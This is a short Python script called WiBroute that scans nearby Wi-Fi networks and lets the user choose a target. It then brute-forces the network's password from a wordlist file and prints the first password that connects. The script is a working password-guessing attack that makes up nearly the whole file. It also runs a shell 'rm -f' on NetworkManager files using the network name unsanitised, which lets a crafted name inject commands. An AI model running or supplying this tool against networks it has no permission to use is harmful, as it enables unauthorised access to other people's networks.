WiBroute
/
wibroute.py
32 строки · 1.0 Кб
1#!/usr/bin/env python3
2'''
3Created on 13.10.2016
4
5@author: Brom
6@e-mail: wasalev@mail.ru
7'''
8
9import net_wrap10import os11interfacesList=net_wrap.interfacesList()12print('Choose interface:\n')13for inter in interfacesList:14print("["+str(interfacesList.index(inter))+"] "+inter)15curIntIndex=int(input(">>> "))16curInt=interfacesList[curIntIndex]17targetsList=net_wrap.wifiList(curInt)18print('Choose target: ')19for cell in targetsList:20print("["+str(targetsList.index(cell))+"] "+cell['Address']+" | "+cell['ESSID']+" | Encryption key: "+cell['Encryption key'] +"\n")21targetIndex=int(input(">>> "))22target=targetsList[targetIndex]23with open("passwords.txt") as infile:24for idx, password in enumerate(infile):25if(os.path.isdir('/etc/NetworkManager/system-connections/')):26os.system('rm -f /etc/NetworkManager/system-connections/'+target['ESSID']+"*")27print("\rTry[#{}]\t{}".format(idx, password), end='')28res=net_wrap.tryConnect(target['ESSID'], password, curInt)29if res==True:30print("="*20)31print(password)32exit()33
34